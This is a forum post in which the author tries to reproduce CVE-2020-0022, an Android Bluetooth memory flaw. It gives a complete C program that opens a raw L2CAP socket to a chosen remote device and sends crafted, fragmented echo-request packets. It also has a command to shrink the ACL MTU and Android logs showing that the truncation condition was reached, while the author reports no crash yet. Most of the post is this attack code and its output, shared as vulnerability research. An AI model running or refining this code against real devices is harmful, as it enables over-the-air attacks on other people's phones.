To give some background on this question, try to test the CVE-2020-0022.
Not sure how to trigger it in the end.
Wrote this code that sends fragmented ACL L2CAP Data packets, so maybe somebody finds it useful.
Before you should change the ACL MTU to desired i.e
hciconfig hci0 aclmtu 50:10
Below also try to change connection MTU, but I am not sure it work and if this is needed. Response from is not fragmented, was thinking aforementioned will achieve that.
You can see it on the screenshot:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/l2cap.h>
// Functions
void usage(void);
// MAIN PART
int main(int argc, char *argv[])
{
l2cap_cmd_hdr *cmd;
struct sockaddr_l2 laddr, raddr;
struct hci_dev_info di;
char *buf, *remote_address = NULL;
char payload1[] = "\x00\x40\x00\x04\x01\x04\x01\x01";
char payload[] = "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56";
int sock, c, i;
int l2_code;
int l2_ident;
int l2_hsize;
while ((c = getopt (argc, argv, "a:")) != -1)
{
switch (c)
{
case 'a':
remote_address = optarg;
break;
default:
usage();
break;
}
}
if(remote_address == NULL)
{
printf(">>> I need at least a remote btaddr...\n\n");
usage();
exit(EXIT_FAILURE);
}
// Get local device info
if(hci_devinfo(0, &di) < 0)
{
perror("HCI device info failed");
exit(EXIT_FAILURE);
}
printf("Local device %s\n", batostr(&di.bdaddr));
printf("Remote device %s\n", remote_address);
/* Construct local addr */
laddr.l2_family = AF_BLUETOOTH;
laddr.l2_bdaddr = di.bdaddr;
laddr.l2_psm = htobs(0x1001);
laddr.l2_cid = htobs(0x0040);
/* Construct remote addr */
memset(&raddr, 0, sizeof(raddr));
raddr.l2_family = AF_BLUETOOTH;
str2ba(remote_address, &raddr.l2_bdaddr);
/* Create a Bluetooth raw socket */
if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
/* ...and bind it to the local device */
bind(sock, (struct sockaddr *) &laddr, sizeof(laddr));
/* Let's try to connect */
if (connect(sock, (struct sockaddr *) &raddr, sizeof(raddr)) < 0) {
perror("connect");
exit(EXIT_FAILURE);
}
/* Init packet buffer */
if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE )) ) {
perror("malloc");
exit(EXIT_FAILURE);
}
/* Set L2CAP header properties */
cmd = (l2cap_cmd_hdr *) buf;
cmd->code = 0x04;
cmd->ident = 0x08;
cmd->len = htobs(8);
/* Copy payload after l2cap header */
memcpy((buf + L2CAP_CMD_HDR_SIZE), payload1, 8);
/* Throw the packet into the air */
if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 8, 0) <= 0)
{
perror("send");
}
printf("L2CAP packet2 was sent\n");
sleep(1);
/* Set L2CAP header properties */
cmd = (l2cap_cmd_hdr *) buf;
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 0x01;
cmd->len = htobs(300);
/* Copy payload after l2cap header */
memcpy((buf + L2CAP_CMD_HDR_SIZE), payload, 302);
/* Throw the packet into the air */
if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 302, 0) <= 0)
{
perror("send");
}
printf("L2CAP packet was sent\n");
sleep(1);
/* Disconnect */
close(sock);
return EXIT_SUCCESS;
}
// Print usage
void usage(void)
{
printf("blueborne -a <bdaddr>\n");
exit(EXIT_SUCCESS);
}
However, cannot trigger the bug.
Logs from the Mobile Bluetooth:
02-12 00:01:39.089 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
02-12 00:01:39.360 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
02-12 00:01:39.362 773 1049 W bt_hci_packet_fragmenter: fragment_and_dispatch fragment_and_dispatch
02-12 00:01:40.089 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
02-12 00:01:40.092 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
02-12 00:01:40.092 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch partial_packet->offset 54 packet->len 264 HCI_ACL_PREAMBLE_SIZE 4
02-12 00:01:40.092 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch projected_offset 314 partial_packet->len 314
02-12 00:01:40.092 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch memcpy packet->len 264 packet->offset 4 expr 260
To trigger it somehow the
projected_offset > partial_packet->len
As you can see, above it is not.
Thought, some tricky fragmenting would cause it ....
I am closing this question on my end.
Update 1:
Reopening ...
OK, I think I got it the condition
Below is Mobile (Android) Bluetooth subsystem log:
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch reassemble_and_dispatch
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch partial_packet->offset 21 packet->len 683
HCI_ACL_PREAMBLE_SIZE 4
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch projected_offset 700 partial_packet->len 209
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch got packet which would exceed expected length
of 209. Truncating.
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch memcpy packet->len 188 packet->offset 4 expr
184
02-12 22:33:26.929 2416 2460 W bt_hci_packet_fragmenter:
fragment_and_dispatch fragment_and_dispatch
Still working on crashing the process
Still waiting for an official Writeup and PoC from Authors .... in the mean time will publish if I figure it out further here:
https://github.com/marcinguy/CVE-2020-0022/blob/master/README.md